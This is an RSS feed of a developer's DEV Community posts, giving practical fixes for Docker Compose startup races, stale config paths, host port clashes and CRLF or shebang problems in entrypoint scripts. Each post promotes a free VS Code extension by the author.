<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: TANK JAY</title>
    <description>The latest articles on DEV Community by TANK JAY (@jaytank).</description>
    <link>https://dev.to/jaytank</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4052286%2F56811edd-09f3-4c20-b966-2b3d5e9b71ef.jpg</url>
      <title>DEV Community: TANK JAY</title>
      <link>https://dev.to/jaytank</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jaytank"/>
    <language>en</language>
    <item>
      <title>docker compose depends_on does not wait for your database: fix "connection refused" on startup with healthchecks</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Mon, 19 Oct 2026 03:21:16 +0000</pubDate>
      <link>https://dev.to/jaytank/docker-compose-dependson-does-not-wait-for-your-database-fix-connection-refused-on-startup-with-55lm</link>
      <guid>https://dev.to/jaytank/docker-compose-dependson-does-not-wait-for-your-database-fix-connection-refused-on-startup-with-55lm</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;api-1  | Error: connect ECONNREFUSED 172.18.0.2:5432
api-1 exited with code 1
db-1   | LOG:  database system is ready to accept connections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app died one line before Postgres was ready. Run &lt;code&gt;docker compose up&lt;/code&gt; again and it works. Your compose file says &lt;code&gt;depends_on: [db]&lt;/code&gt;, so what happened?&lt;/p&gt;

&lt;h2&gt;
  
  
  depends_on waits for "running", not "ready"
&lt;/h2&gt;

&lt;p&gt;The list form of &lt;code&gt;depends_on&lt;/code&gt; means &lt;code&gt;condition: service_started&lt;/code&gt;. Compose starts &lt;code&gt;db&lt;/code&gt;, sees the container running, starts your app. Meanwhile Postgres is still running &lt;code&gt;initdb&lt;/code&gt; and your init scripts. The &lt;a href="https://docs.docker.com/compose/how-tos/startup-order/" rel="noopener noreferrer"&gt;Docker docs&lt;/a&gt; say it directly: Compose waits for running, not ready.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trap: service_healthy with no healthcheck
&lt;/h2&gt;

&lt;p&gt;So you switch to &lt;code&gt;condition: service_healthy&lt;/code&gt;. But the official &lt;code&gt;postgres&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;mongo&lt;/code&gt;, &lt;code&gt;redis&lt;/code&gt; and &lt;code&gt;rabbitmq&lt;/code&gt; images define &lt;strong&gt;no&lt;/strong&gt; &lt;code&gt;HEALTHCHECK&lt;/code&gt; (&lt;a href="https://github.com/docker-library/faq" rel="noopener noreferrer"&gt;on purpose&lt;/a&gt;). Without a &lt;code&gt;healthcheck:&lt;/code&gt; in compose, startup fails with "has no healthcheck configured" or "container is unhealthy" instead of waiting.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;api&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;db&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;service_healthy&lt;/span&gt;
  &lt;span class="na"&gt;db&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres:16&lt;/span&gt;
    &lt;span class="na"&gt;healthcheck&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CMD-SHELL"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pg_isready&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-h&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-U&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;$${POSTGRES_USER:-postgres}"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;5s&lt;/span&gt;
      &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;5s&lt;/span&gt;
      &lt;span class="na"&gt;retries&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt;
      &lt;span class="na"&gt;start_period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;30s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$$&lt;/code&gt; stops Compose interpolating the variable on your host. &lt;code&gt;start_period&lt;/code&gt; keeps a slow first boot from burning your retries. And keep a connection retry in the app anyway: databases restart in production too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flag it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.readywait" rel="noopener noreferrer"&gt;ReadyWait&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that checks every compose file in the workspace:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RW001&lt;/strong&gt; short-form &lt;code&gt;depends_on&lt;/code&gt; / &lt;code&gt;service_started&lt;/code&gt; on postgres, mysql, redis, kafka, rabbitmq and other slow services&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RW002&lt;/strong&gt; &lt;code&gt;service_healthy&lt;/code&gt; on a service with no (or a disabled) healthcheck&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RW003&lt;/strong&gt; no &lt;code&gt;start_period&lt;/code&gt;, or &lt;code&gt;timeout&lt;/code&gt; longer than &lt;code&gt;interval&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RW004&lt;/strong&gt; &lt;code&gt;service_completed_successfully&lt;/code&gt; on a &lt;code&gt;restart: always&lt;/code&gt; service&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One-click fixes convert &lt;code&gt;depends_on&lt;/code&gt; to long form and insert &lt;code&gt;pg_isready&lt;/code&gt;, &lt;code&gt;mysqladmin ping&lt;/code&gt;, &lt;code&gt;redis-cli ping&lt;/code&gt;, &lt;code&gt;rabbitmq-diagnostics&lt;/code&gt; and similar probes where the tool ships in the official image. Override files and local Dockerfile &lt;code&gt;HEALTHCHECK&lt;/code&gt;s count. Fully static: no network, no telemetry, no &lt;code&gt;docker&lt;/code&gt; calls. It cannot see a &lt;code&gt;HEALTHCHECK&lt;/code&gt; baked into a registry image, and it does not follow YAML anchors or &lt;code&gt;include:&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.readywait
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/readywait" rel="noopener noreferrer"&gt;github.com/jay-tank/readywait&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (why startup races happen, every healthcheck command, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/readywait-docker-compose-depends-on-connection-refused" rel="noopener noreferrer"&gt;docker compose depends_on does not wait for your database&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>devops</category>
      <category>vscode</category>
      <category>postgres</category>
    </item>
    <item>
      <title>You renamed a file and CI broke: find broken paths in package.json, Dockerfile COPY and GitHub Actions</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Fri, 16 Oct 2026 03:30:44 +0000</pubDate>
      <link>https://dev.to/jaytank/you-renamed-a-file-and-ci-broke-find-broken-paths-in-packagejson-dockerfile-copy-and-github-21p4</link>
      <guid>https://dev.to/jaytank/you-renamed-a-file-and-ci-broke-find-broken-paths-in-packagejson-dockerfile-copy-and-github-21p4</guid>
      <description>&lt;p&gt;You move &lt;code&gt;scripts/start.sh&lt;/code&gt; to &lt;code&gt;tools/start.sh&lt;/code&gt;. VS Code updates the imports, the tests pass, you push. Then CI fails with &lt;code&gt;COPY failed: file not found in build context&lt;/code&gt;, because the Dockerfile still says &lt;code&gt;COPY scripts/start.sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Refactoring tools update paths in &lt;strong&gt;code&lt;/strong&gt;. Paths in &lt;strong&gt;config files&lt;/strong&gt; are plain strings, and nothing checks them until a build, a release or GitHub's review assignment finally uses them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the stale strings hide
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Breaks as&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;package.json&lt;/code&gt; &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;bin&lt;/code&gt;, &lt;code&gt;exports&lt;/code&gt;, &lt;code&gt;files&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;A published package that points at nothing (&lt;a href="https://github.com/software-mansion/react-native-reanimated/issues/3026" rel="noopener noreferrer"&gt;reanimated#3026&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dockerfile &lt;code&gt;COPY&lt;/code&gt; / &lt;code&gt;ADD&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;COPY failed: file not found in build context&lt;/code&gt; (&lt;a href="https://github.com/vercel/next.js/discussions/33338" rel="noopener noreferrer"&gt;next.js #33338&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workflow &lt;code&gt;run:&lt;/code&gt; / &lt;code&gt;working-directory&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;No such file or directory&lt;/code&gt; in a step&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;tsconfig.json&lt;/code&gt; &lt;code&gt;extends&lt;/code&gt; / &lt;code&gt;references&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;A type check that fails far from the rename&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CODEOWNERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nothing fails: a moved folder just matches no files, so no one is asked to review&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The manual check
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"scripts/start.sh"&lt;/span&gt;
git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"scripts/"&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s1"&gt;'*.json'&lt;/span&gt; &lt;span class="s1"&gt;'*.yml'&lt;/span&gt; &lt;span class="s1"&gt;'*.yaml'&lt;/span&gt; &lt;span class="s1"&gt;'Dockerfile*'&lt;/span&gt; CODEOWNERS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then run &lt;code&gt;docker build&lt;/code&gt; with the same context as CI and &lt;code&gt;npm pack --dry-run&lt;/code&gt;. It works, but only for the string you remembered to search for.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.pathmend" rel="noopener noreferrer"&gt;PathMend&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that checks file paths in &lt;code&gt;package.json&lt;/code&gt;, tsconfig, Dockerfiles, Compose, GitHub Actions, &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, &lt;code&gt;CODEOWNERS&lt;/code&gt; and &lt;code&gt;launch.json&lt;/code&gt;, and underlines the exact string when the file is missing (rules PM001 - PM011).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Did you mean ...?"&lt;/strong&gt; Quick Fix finds the moved file (same name in another folder) or a close spelling.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rename in VS Code&lt;/strong&gt; and it asks: &lt;em&gt;3 config references still point to scripts - update all?&lt;/em&gt; with Update all, Preview and Ignore.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;COPY&lt;/code&gt; sources are resolved against the Compose build context, and escapes out of it are flagged.&lt;/li&gt;
&lt;li&gt;Skips &lt;code&gt;$VAR&lt;/code&gt;, &lt;code&gt;${{ }}&lt;/code&gt;, &lt;code&gt;COPY --from&lt;/code&gt;, URLs and build output folders like &lt;code&gt;dist/&lt;/code&gt; and your tsconfig &lt;code&gt;outDir&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No network, no telemetry, no child processes. It only checks whether paths exist inside the workspace, so it also works in untrusted workspaces. It does not read build contexts passed on the command line, does not apply &lt;code&gt;.dockerignore&lt;/code&gt;, and a &lt;code&gt;git mv&lt;/code&gt; in the terminal shows up as broken references rather than a rename prompt.&lt;/p&gt;

&lt;p&gt;It gets its own activity bar icon with a badge, and a &lt;strong&gt;Broken References&lt;/strong&gt; panel listing each broken path with a one-click fix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.pathmend
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/pathmend" rel="noopener noreferrer"&gt;github.com/jay-tank/pathmend&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (every file and rule, the build context logic, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/pathmend-find-broken-paths-after-rename" rel="noopener noreferrer"&gt;You renamed a file and CI broke&lt;/a&gt;&lt;/p&gt;

</description>
      <category>vscode</category>
      <category>docker</category>
      <category>githubactions</category>
      <category>devops</category>
    </item>
    <item>
      <title>Bind for 0.0.0.0:5432 failed: port is already allocated - find port clashes before you run docker compose up</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Mon, 12 Oct 2026 03:27:32 +0000</pubDate>
      <link>https://dev.to/jaytank/bind-for-00005432-failed-port-is-already-allocated-find-port-clashes-before-you-run-docker-53p</link>
      <guid>https://dev.to/jaytank/bind-for-00005432-failed-port-is-already-allocated-find-port-clashes-before-you-run-docker-53p</guid>
      <description>&lt;p&gt;&lt;code&gt;docker compose up -d&lt;/code&gt;, and one container stays down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bind for 0.0.0.0:5432 failed: port is already allocated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then &lt;code&gt;npm run dev&lt;/code&gt; adds its own version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: listen EADDRINUSE: address already in use :::3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same problem both times: &lt;strong&gt;two things want one host port.&lt;/strong&gt; And most of the time both of them are already written in the repo. Two compose services copied from one snippet, both &lt;code&gt;"5432:5432"&lt;/code&gt;. An API published on &lt;code&gt;${API_PORT:-8080}&lt;/code&gt; with &lt;code&gt;API_PORT=3000&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt;, next to a &lt;code&gt;next dev&lt;/code&gt; that defaults to 3000.&lt;/p&gt;

&lt;h2&gt;
  
  
  The usual causes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Two services or two compose projects publish the same host port&lt;/li&gt;
&lt;li&gt;Another checkout's containers are still running&lt;/li&gt;
&lt;li&gt;A local Postgres/Redis already listens, or on a Mac, AirPlay Receiver holds 5000 and 7000&lt;/li&gt;
&lt;li&gt;Framework defaults collide: Next/Nuxt 3000, Vite 5173, Django/uvicorn 8000, Flask 5000&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;.env&lt;/code&gt; &lt;code&gt;DB_PORT&lt;/code&gt; is the port you &lt;em&gt;connect to&lt;/em&gt;, so changing it does not move the binding (&lt;a href="https://github.com/langgenius/dify/issues/14442" rel="noopener noreferrer"&gt;dify#14442&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vite is sneakier: without &lt;code&gt;server.strictPort&lt;/code&gt; it just moves to 5174, and your OAuth callback breaks with no port error at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix it by hand
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-ltnp&lt;/span&gt; &lt;span class="s1"&gt;'sport = :5432'&lt;/span&gt;                  &lt;span class="c"&gt;# Linux&lt;/span&gt;
lsof &lt;span class="nt"&gt;-nP&lt;/span&gt; &lt;span class="nt"&gt;-iTCP&lt;/span&gt;:5432 &lt;span class="nt"&gt;-sTCP&lt;/span&gt;:LISTEN          &lt;span class="c"&gt;# macOS&lt;/span&gt;
docker ps &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="nv"&gt;publish&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5432           &lt;span class="c"&gt;# another project's container?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then stop the stale project, move one host port (&lt;code&gt;"127.0.0.1:5433:5432"&lt;/code&gt;, the container side stays the same), or drop &lt;code&gt;ports:&lt;/code&gt; if only other containers talk to it. The &lt;code&gt;127.0.0.1&lt;/code&gt; matters: a bare &lt;code&gt;"5432:5432"&lt;/code&gt; listens on every interface.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it before anything runs
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.portclash" rel="noopener noreferrer"&gt;PortClash&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that reads every declared port in your workspace (compose with &lt;code&gt;.env&lt;/code&gt; interpolation, &lt;code&gt;.env*&lt;/code&gt;, &lt;code&gt;package.json&lt;/code&gt; scripts, Vite/Next/Nuxt/Angular/Astro/Django/Flask/uvicorn defaults, &lt;code&gt;devcontainer.json&lt;/code&gt;, &lt;code&gt;launch.json&lt;/code&gt;, Kubernetes) and lines them up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PC001&lt;/strong&gt; (Error): two different sources bind the same host port&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PC002&lt;/strong&gt;: port 5000/7000 (AirPlay) or a privileged port for a dev server&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PC003&lt;/strong&gt; (Warning): a compose database published on &lt;code&gt;0.0.0.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PC004&lt;/strong&gt;: a &lt;code&gt;process.env.PORT || 3000&lt;/code&gt; fallback that disagrees with &lt;code&gt;.env&lt;/code&gt; / compose&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PC005&lt;/strong&gt; (opt-in): a declared port is already in use on this machine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The status bar shows &lt;code&gt;Ports: 9 · 1 clash&lt;/code&gt;, and &lt;strong&gt;Find Free Port Near...&lt;/strong&gt; suggests a port nobody in the repo claims. It works in a fresh clone with nothing running. No telemetry, no network, no child processes. It is static and best-effort: runtime-computed ports and compose profiles are not evaluated.&lt;/p&gt;

&lt;p&gt;It gets its own activity bar icon with a badge, and a &lt;strong&gt;Ports&lt;/strong&gt; panel listing each port and the lines that claim it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.portclash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/portclash" rel="noopener noreferrer"&gt;github.com/jay-tank/portclash&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (every source it reads, the manual fixes, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/portclash-port-is-already-allocated-eaddrinuse" rel="noopener noreferrer"&gt;Bind for 0.0.0.0:5432 failed: port is already allocated - find port clashes before you run docker compose up&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>vscode</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>exec /entrypoint.sh: no such file or directory? Fix CRLF line endings, shebangs and chmod before Docker runs</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Fri, 09 Oct 2026 03:32:22 +0000</pubDate>
      <link>https://dev.to/jaytank/exec-entrypointsh-no-such-file-or-directory-fix-crlf-line-endings-shebangs-and-chmod-before-3k97</link>
      <guid>https://dev.to/jaytank/exec-entrypointsh-no-such-file-or-directory-fix-crlf-line-endings-shebangs-and-chmod-before-3k97</guid>
      <description>&lt;p&gt;The image builds, the container exits instantly, and the log says:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exec /entrypoint.sh: no such file or directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ls -l /entrypoint.sh&lt;/code&gt; inside the image shows the file right there. So what is missing?&lt;/p&gt;

&lt;h2&gt;
  
  
  The kernel reads your first line
&lt;/h2&gt;

&lt;p&gt;For a script, &lt;code&gt;execve()&lt;/code&gt; reads the &lt;code&gt;#!&lt;/code&gt; line and runs the interpreter it names. Four invisible problems break that step:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;In the file&lt;/th&gt;
&lt;th&gt;The kernel sees&lt;/th&gt;
&lt;th&gt;You get&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CRLF line endings&lt;/td&gt;
&lt;td&gt;interpreter &lt;code&gt;/bin/sh\r&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;no such file or directory&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;#!/usr/bin/env bash&lt;/code&gt; + CRLF&lt;/td&gt;
&lt;td&gt;a program called &lt;code&gt;bash\r&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/env: 'bash\r': No such file or directory&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No shebang, or a UTF-8 BOM before it&lt;/td&gt;
&lt;td&gt;no &lt;code&gt;#!&lt;/code&gt; at all&lt;/td&gt;
&lt;td&gt;&lt;code&gt;exec format error&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git mode &lt;code&gt;100644&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;a non-executable file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;permission denied&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The missing file is the &lt;em&gt;interpreter&lt;/em&gt;, but the message names your script. The usual source is a Windows checkout with &lt;code&gt;core.autocrlf=true&lt;/code&gt;: &lt;code&gt;docker build&lt;/code&gt; sends that CRLF working tree, and &lt;code&gt;COPY&lt;/code&gt; puts it in the image (&lt;a href="https://github.com/haimerb/automate-clipping/issues/30" rel="noopener noreferrer"&gt;real example&lt;/a&gt;, &lt;a href="https://github.com/moby/moby/issues/29420" rel="noopener noreferrer"&gt;Moby's request for a better error&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix it by hand
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file entrypoint.sh               &lt;span class="c"&gt;# "with CRLF line terminators"?&lt;/span&gt;
git ls-files &lt;span class="nt"&gt;-s&lt;/span&gt; entrypoint.sh    &lt;span class="c"&gt;# 100644 = not executable&lt;/span&gt;

&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/\r$//'&lt;/span&gt; entrypoint.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'*.sh text eol=lf'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; .gitattributes &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git add &lt;span class="nt"&gt;--renormalize&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
git update-index &lt;span class="nt"&gt;--chmod&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+x entrypoint.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;.gitattributes&lt;/code&gt; rule is the part that stops it coming back.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.entrycheck" rel="noopener noreferrer"&gt;EntryCheck&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that follows Dockerfile &lt;code&gt;ENTRYPOINT&lt;/code&gt;/&lt;code&gt;CMD&lt;/code&gt;/&lt;code&gt;RUN&lt;/code&gt; (through &lt;code&gt;COPY&lt;/code&gt; and &lt;code&gt;WORKDIR&lt;/code&gt;), compose &lt;code&gt;entrypoint&lt;/code&gt;/&lt;code&gt;command&lt;/code&gt;, GitHub Actions &lt;code&gt;run:&lt;/code&gt;, GitLab CI &lt;code&gt;script:&lt;/code&gt;, package.json scripts and Husky hooks to the scripts they execute, and flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;EC001&lt;/strong&gt; CRLF line endings (Quick Fix: convert to LF, or add the &lt;code&gt;.gitattributes&lt;/code&gt; rule)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EC002&lt;/strong&gt; missing or non-absolute shebang on a directly executed script&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EC003&lt;/strong&gt; UTF-8 BOM before the shebang (Quick Fix: strip it)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EC004&lt;/strong&gt; mode &lt;code&gt;100644&lt;/code&gt; in git, unless the Dockerfile already does &lt;code&gt;chmod +x&lt;/code&gt; or &lt;code&gt;COPY --chmod=755&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EC005&lt;/strong&gt; no &lt;code&gt;.gitattributes&lt;/code&gt; eol rule for &lt;code&gt;*.sh&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The diagnostic lands on the line that launches the script, and a &lt;strong&gt;Failing scripts&lt;/strong&gt; panel in the activity bar lists every problem by script name with one-click fixes. No network, no telemetry, and the git check only runs in trusted workspaces. It does not check that the interpreter exists in your image (&lt;code&gt;#!/bin/bash&lt;/code&gt; on Alpine still fails), and it does not follow compose &lt;code&gt;build.context&lt;/code&gt; or variable paths.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.entrycheck
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



